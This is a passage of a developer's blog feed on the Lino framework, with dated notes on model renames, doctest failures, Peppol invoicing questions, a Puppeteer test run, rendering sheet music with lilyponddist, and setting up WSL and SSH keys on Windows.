  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/venvs/dev/lib/python3.12/site-packages/jinja2/environment.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;490&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;getattr&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;getattr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;attribute&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
           &lt;span class="o"&gt;^^^^^^^^^^^^^^^^^^^^^^^&lt;/span&gt;
&lt;span class="n"&gt;jinja2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exceptions&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;UndefinedError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;__main__.Foo object&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;has&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;attribute&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;bar&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2025/0626.html</guid><pubDate>Thu, 26 Jun 2025 00:00:00 +0000</pubDate></item><item><title>Monday, June 23, 2025</title><link>https://luc.lino-framework.org/blog/2025/0623.html</link><description>&lt;section id="monday-june-23-2025"&gt;
&lt;h1&gt;Monday, June 23, 2025&lt;a class="headerlink" href="#monday-june-23-2025" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Rename FinalExam to FinalExamTemplate&lt;/p&gt;
&lt;p&gt;New model FinalExam(template, group)&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2025/0623.html</guid><pubDate>Mon, 23 Jun 2025 00:00:00 +0000</pubDate></item><item><title>Friday, June 20, 2025</title><link>https://luc.lino-framework.org/blog/2025/0620.html</link><description>&lt;section id="friday-june-20-2025"&gt;
&lt;h1&gt;Friday, June 20, 2025&lt;a class="headerlink" href="#friday-june-20-2025" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;About the doctest failures in specs/calview.rst and specs/avanti/db.rst
(avanti1):&lt;/p&gt;
&lt;p&gt;The number of cal.Event changed from 278 to 533 (+155). The new events are
suggested meetings with clients according to their event_policy. Explanation:
the &lt;cite&gt;generate_calendar_entries&lt;/cite&gt; procedure was not being run by &lt;cite&gt;pm prep&lt;/cite&gt;, now it
is being run. Good.&lt;/p&gt;
&lt;p&gt;About the doctest failures in projects/voga2.rst and plugins/checkdata.rst
(voga2):&lt;/p&gt;
&lt;p&gt;(1) plugins/checkdata.rst modified the database but didn’t run check_virgin(),
causing nasty surprises&lt;/p&gt;
&lt;p&gt;(2) The &lt;cite&gt;checkdata&lt;/cite&gt; procedure (which finds conflicting events) was being run
before &lt;cite&gt;generate_calendar_entries&lt;/cite&gt; (which generates them):&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ pm show linod.Procedures
=========================== =========================== =========================== ================== ===========================
 value                       name                        text                        Task class         Suggested recurrency
--------------------------- --------------------------- --------------------------- ------------------ ---------------------------
 checkdata                   checkdata                   checkdata                   linod.SystemTask   every=1, every_unit=daily
 generate_calendar_entries   generate_calendar_entries   generate_calendar_entries   linod.SystemTask   every=1, every_unit=daily
 checksummaries              checksummaries              checksummaries              linod.SystemTask   every=1, every_unit=daily
 run_invoicing_tasks         run_invoicing_tasks         run_invoicing_tasks         invoicing.Task     every=1, every_unit=daily
 delete_older_changes        delete_older_changes        delete_older_changes        linod.SystemTask   every=1, every_unit=daily
 update_publisher_pages      update_publisher_pages      update_publisher_pages      linod.SystemTask   every=1, every_unit=daily
=========================== =========================== =========================== ================== ===========================
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Which means that checkdata messages appeared only during a second loop of the
task runner.&lt;/p&gt;
&lt;p&gt;Both checkdata and generate_calendar_entries are daily background tasks.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2025/0620.html</guid><pubDate>Fri, 20 Jun 2025 00:00:00 +0000</pubDate></item><item><title>Tuesday, June 3, 2025</title><link>https://luc.lino-framework.org/blog/2025/0603.html</link><description>&lt;section id="tuesday-june-3-2025"&gt;
&lt;h1&gt;Tuesday, June 3, 2025&lt;a class="headerlink" href="#tuesday-june-3-2025" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I’m working on miscellaneous optimizations for tim2lino and Peppol.&lt;/p&gt;
&lt;p&gt;What if a customer becomes send_peppol after the onboarding date, and had
already invoices sent before the onboarding date? For example I activate my
customer as a supplier, they start sending invoices to some of their customers.
One month later, two customers of my customer onboard and ask to receive
e-invoices. My customer also has sales invoices to these two customers during
the first month, these invoices were sent outside of peppol via email. Right now
Lino would send the invoices of the first month to these two customers.&lt;/p&gt;
&lt;p&gt;This is why we now have &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;PeppolJournal.last_sending&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;dl class="simple"&gt;
&lt;dt&gt;Q: What happens when a supplier has peppolReceiver set to false and nevertheless&lt;/dt&gt;&lt;dd&gt;&lt;p&gt;asks for inbound documents? Will Ibanity simply return an empty list? Or will
it return an error?&lt;/p&gt;
&lt;/dd&gt;
&lt;/dl&gt;
&lt;p&gt;A: It returns an empty list&lt;/p&gt;
&lt;p&gt;I asked two more questions on the &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/peppol/jargon.html#term-Ibanity" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;Ibanity&lt;/span&gt;&lt;/a&gt; forum:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Is is allowed that a supplier sends their invoices with several days of delay?
One of my customer wants this as a feature. They would generate a sales
invoice, send it as a pro-forma invoice to their customer via email and give
them two days for verifying the content.  The real invoice comes only after
this verification. But they want the official invoice to be dated on the same
date as the pro-forma invoice. They know that they cannot send any other sales
invoices while waiting for feedback from the pro-forma invoices. Is this
technically possible? Is it legally allowed?&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;And another question. Another customer has multiple journals for issuing sales
invoices, used by different salesmen. One salesman goes online every day and
sends their invoices via Peppol.  The second salesman goes online only once a
week. Is the second  salesman allowed to send an invoice dated three days ago
when the first salesman has sent an invoice yesterday?&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Both got the same answer: Out of scope of Peppol/API. Peppol doesn’t care
when/what you send. So, it’s technically allowed. Regulatory, you’ll need to
find some info per region. My gut feeling is that it’s not a problem.&lt;/p&gt;
&lt;p&gt;TODO:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Lino does not yet delete a supplier on Ibanity when I remove them from our
list of suppliers.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2025/0603.html</guid><pubDate>Tue, 03 Jun 2025 00:00:00 +0000</pubDate></item><item><title>Monday, May 19, 2025</title><link>https://luc.lino-framework.org/blog/2025/0519.html</link><description>&lt;section id="monday-may-19-2025"&gt;
&lt;h1&gt;Monday, May 19, 2025&lt;a class="headerlink" href="#monday-may-19-2025" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="puppeteer"&gt;
&lt;h2&gt;Puppeteer&lt;a class="headerlink" href="#puppeteer" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I tried to run the puppeteer test suite in react:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;(dev) luc@frodo:~/work/react$ npx puppeteer browsers install chrome
Downloading chrome 131.0.6778.204 - 165.9 MB [====================] 100% 0.0s
chrome@131.0.6778.204 /home/luc/.cache/puppeteer/chrome/linux-131.0.6778.204/chrome-linux64/chrome

(dev) luc@frodo:~/work/react$ npm test

&amp;gt; lino_react@25.4.2 test
&amp;gt; jest

Error: Jest: Got error running globalSetup - /home/luc/work/react/lino_react/react/testSetup/setupJEST.js, reason: Failed to launch the browser process!

[1185962:1185962:0519/073804.739181:FATAL:zygote_host_impl_linux.cc(128)] No
usable sandbox! If you are running on Ubuntu 23.10+ or another Linux distro
that has disabled unprivileged user namespaces with AppArmor, see
https://chromium.googlesource.com/chromium/src/+/main/docs/security/apparmor-userns-restrictions.md.
Otherwise see
https://chromium.googlesource.com/chromium/src/+/main/docs/linux/suid_sandbox_development.md
for more information on developing with the (older) SUID sandbox. If you want
to live dangerously and need an immediate workaround, you can try using
--no-sandbox.

TROUBLESHOOTING: https://pptr.dev/troubleshooting

    at ChildProcess.onClose (/home/luc/work/react/node_modules/@puppeteer/browsers/src/launch.ts:486:11)
    at ChildProcess.emit (node:events:531:35)
    at ChildProcess.emit (node:domain:488:12)
    at Process.ChildProcess._handle.onexit (node:internal/child_process:294:12)
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I read the mentioned  &lt;a class="reference external" href="https://chromium.googlesource.com/chromium/src/+/main/docs/security/apparmor-userns-restrictions.md"&gt;Chromium Docs&lt;/a&gt;
and did as instructed there:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;echo&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;sudo&lt;/span&gt; &lt;span class="n"&gt;tee&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;proc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;kernel&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;apparmor_restrict_unprivileged_userns&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Now the test suite works:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;(dev) luc@frodo:~/work/react$ npm test

&amp;gt; lino_react@25.4.2 test
&amp;gt; jest

 PASS  lino_react/react/components/__tests__/integrity.ts (14.057 s)
  integrity.ts
    ✓ load landing page (1599 ms)
    ✓ sign in ok (5476 ms)

 PASS  lino_react/react/components/__tests__/cloneUI.ts (17.069 s)
  cloneUI.ts
    ✓ clone tickets.AllTickets (10185 ms)

 FAIL  lino_react/react/components/__tests__/test_URLContext.ts (39.691 s)
  test_URLContext.ts
    ✓ trading.InvoicesByJournal workflow button (11581 ms)
    ✕ test grid_put (21015 ms)

  ● test_URLContext.ts › test grid_put

    Could not satisfy condition

      18 |     }
      19 |
    &amp;gt; 20 |     let err = Error(&amp;quot;Could not satisfy condition&amp;quot;);
         |               ^
      21 |     throw err;
      22 | }
      23 |

      at Object.&amp;lt;anonymous&amp;gt;.global.waitToMeet (lino_react/react/testSetup/setupTests.ts:20:15)
      at Object.dataContextReady (lino_react/react/testSetup/setupTests.ts:38:9)
      at Object.&amp;lt;anonymous&amp;gt;.global.signIn (lino_react/react/testSetup/setupTests.ts:78:5)
      at Object.&amp;lt;anonymous&amp;gt; (lino_react/react/components/__tests__/test_URLContext.ts:48:9)

 FAIL  lino_react/react/components/__tests__/testParamChanges.ts (63.668 s)
  testParamChanges.ts
    ✕ test #5792 (56206 ms)

  ● testParamChanges.ts › test #5792

    TypeError: Cannot read properties of null (reading &amp;#39;getProperty&amp;#39;)

      45 |
      46 |         header = await page.$(&amp;quot;div.l-detail-header&amp;gt;span&amp;quot;);
    &amp;gt; 47 |         headerText = await (await header.getProperty(&amp;quot;textContent&amp;quot;)).jsonValue();
         |                                          ^
      48 |
      49 |         expect(headerText).toBe(&amp;quot;Tickets to work (Assigned to Luc) » #101 (Foo never bars)&amp;quot;);
      50 |         header.dispose();

      at Object.&amp;lt;anonymous&amp;gt; (lino_react/react/components/__tests__/testParamChanges.ts:47:42)

A worker process has failed to exit gracefully and has been force exited. This is likely caused by tests leaking due to improper teardown. Try running with --detectOpenHandles to find leaks. Active timers can also cause this, ensure that .unref() was called on them.
Test Suites: 2 failed, 2 passed, 4 total
Tests:       2 failed, 4 passed, 6 total
Snapshots:   0 total
Time:        65.011 s
Ran all test suites.
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This looks well! I won’t dive further now, I’m glad to have Sharif for the React
front end.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="salesrule-becomes-traderule"&gt;
&lt;h2&gt;SalesRule becomes TradeRule&lt;a class="headerlink" href="#salesrule-becomes-traderule" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;invoicing.SalesRule becomes trading.TradeRule&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2025/0519.html</guid><pubDate>Mon, 19 May 2025 00:00:00 +0000</pubDate></item><item><title>I tried lilyponddist</title><link>https://luc.lino-framework.org/blog/2025/0501.html</link><description>&lt;section id="i-tried-lilyponddist"&gt;
&lt;h1&gt;I tried lilyponddist&lt;a class="headerlink" href="#i-tried-lilyponddist" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Thursday, May 1, 2025&lt;/p&gt;
&lt;p&gt;Today I discovered the  &lt;a class="reference external" href="https://pypi.org/project/lilyponddist"&gt;lilyponddist&lt;/a&gt;
package and tried it. It works:&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;requests&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lilyponddist&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;subprocess&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;https://lilypond.org/ly-examples/bach-bwv610.ly&amp;quot;&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/tmp/tmp.ly&amp;quot;&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/tmp/tmp&amp;quot;&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;wt&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;4940&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;lilyponddist&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lilypondbin&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;--pdf&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;-o&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="go"&gt;0&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;xdg-open&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;.pdf&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="go"&gt;0&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The console output is something like this:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;Processing `tmp.ly&amp;#39;
Parsing...
Interpreting music...[8]
Preprocessing graphical objects...
Finding the ideal number of pages...
Fitting music on 1 or 2 pages...
Drawing systems...
Converting to `tmp.pdf&amp;#39;...
Success: compilation successfully completed
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I’m positively impressed by the ease of installation and execution speed.  It
also works with svg or png instead of pdf. Cool.&lt;/p&gt;
&lt;p&gt;We could this in Lino. Not yet sure how exactly. Wikimedia has &lt;a class="reference external" href="https://www.mediawiki.org/wiki/Extension:Score"&gt;Extension:Score&lt;/a&gt; but the Lino way would
probably be to have a &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;music&lt;/span&gt;&lt;/code&gt; plugin with a &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;music.Score&lt;/span&gt;&lt;/code&gt; model, or
maybe even a &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;music.Song&lt;/span&gt;&lt;/code&gt; model with individual text fields like
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;soprano&lt;/span&gt;&lt;/code&gt;, &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;alto&lt;/span&gt;&lt;/code&gt;, &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;tenor&lt;/span&gt;&lt;/code&gt;, &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;bass&lt;/span&gt;&lt;/code&gt;, &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;lyrics&lt;/span&gt;&lt;/code&gt;, etc, as I had in
songbook.&lt;/p&gt;
&lt;p&gt;Sources:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://pypi.org/project/lilyponddist/"&gt;https://pypi.org/project/lilyponddist/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://lilypond.org/examples.html"&gt;https://lilypond.org/examples.html&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2025/0501.html</guid><pubDate>Thu, 01 May 2025 00:00:00 +0000</pubDate></item><item><title>Tuesday, April 22, 2025</title><link>https://luc.lino-framework.org/blog/2025/0422.html</link><description>&lt;section id="tuesday-april-22-2025"&gt;
&lt;h1&gt;Tuesday, April 22, 2025&lt;a class="headerlink" href="#tuesday-april-22-2025" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Today I had the rare occasion of working on a Windows machine. I tried a few
things for &lt;a class="reference external" href="https://hosting.lino-framework.org/tim2lino/#hg-tim2lino" title="(in Lino Hosting Guide)"&gt;&lt;span&gt;How to import TIM data to Lino&lt;/span&gt;&lt;/a&gt;. Here are some screenshots.&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;Microsoft Windows [version 10.0.26100.3775]
(c) Microsoft Corporation. Tous droits réservés.

C:\Windows\System32&amp;gt;wsl --install
Téléchargement en cours : Sous-système Windows pour Linux 2.4.13
Installation en cours : Sous-système Windows pour Linux 2.4.13
Sous-système Windows pour Linux 2.4.13 a été installé.
Installation du composant facultatif Windows : VirtualMachinePlatform

Outil Gestion et maintenance des images de déploiement
Version : 10.0.26100.1150

Version de l’image : 10.0.26100.3775

Activation de la ou des fonctionnalités
[==========================100.0%==========================]
L’opération a réussi.
L’opération demandée est réussie. Les modifications ne seront pas effectives avant que le système ne soit réamorcé.
L’opération demandée est réussie. Les modifications ne seront pas effectives avant que le système ne soit réamorcé.
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This wasn’t needed:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;\&lt;span class="n"&gt;Windows&lt;/span&gt;\&lt;span class="n"&gt;System32&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;wsl&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;install&lt;/span&gt; &lt;span class="n"&gt;Debian&lt;/span&gt;
&lt;span class="n"&gt;Téléchargement&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Debian&lt;/span&gt; &lt;span class="n"&gt;GNU&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Linux&lt;/span&gt;
&lt;span class="n"&gt;Installation&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Debian&lt;/span&gt; &lt;span class="n"&gt;GNU&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Linux&lt;/span&gt;
&lt;span class="n"&gt;La&lt;/span&gt; &lt;span class="n"&gt;distribution&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;été&lt;/span&gt; &lt;span class="n"&gt;installée&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;Il&lt;/span&gt; &lt;span class="n"&gt;peut&lt;/span&gt; &lt;span class="n"&gt;être&lt;/span&gt; &lt;span class="n"&gt;lancé&lt;/span&gt; &lt;span class="n"&gt;via&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;wsl.exe -d Debian&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This one didn’t help:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;\&lt;span class="n"&gt;Windows&lt;/span&gt;\&lt;span class="n"&gt;System32&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ssh&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;keygen&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="n"&gt;rsa&lt;/span&gt;
&lt;span class="n"&gt;Generating&lt;/span&gt; &lt;span class="n"&gt;public&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;private&lt;/span&gt; &lt;span class="n"&gt;rsa&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="n"&gt;pair&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;Enter&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;which&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;save&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;\&lt;span class="n"&gt;Users&lt;/span&gt;\&lt;span class="n"&gt;utilisateur&lt;/span&gt;&lt;span class="o"&gt;/.&lt;/span&gt;&lt;span class="n"&gt;ssh&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;id_rsa&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="n"&gt;Created&lt;/span&gt; &lt;span class="n"&gt;directory&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;C:&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s1"&gt;Users&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s1"&gt;utilisateur/.ssh&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;Enter&lt;/span&gt; &lt;span class="n"&gt;passphrase&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;empty&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;passphrase&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="n"&gt;Enter&lt;/span&gt; &lt;span class="n"&gt;same&lt;/span&gt; &lt;span class="n"&gt;passphrase&lt;/span&gt; &lt;span class="n"&gt;again&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="n"&gt;Your&lt;/span&gt; &lt;span class="n"&gt;identification&lt;/span&gt; &lt;span class="n"&gt;has&lt;/span&gt; &lt;span class="n"&gt;been&lt;/span&gt; &lt;span class="n"&gt;saved&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;\&lt;span class="n"&gt;Users&lt;/span&gt;\&lt;span class="n"&gt;utilisateur&lt;/span&gt;&lt;span class="o"&gt;/.&lt;/span&gt;&lt;span class="n"&gt;ssh&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;id_rsa&lt;/span&gt;
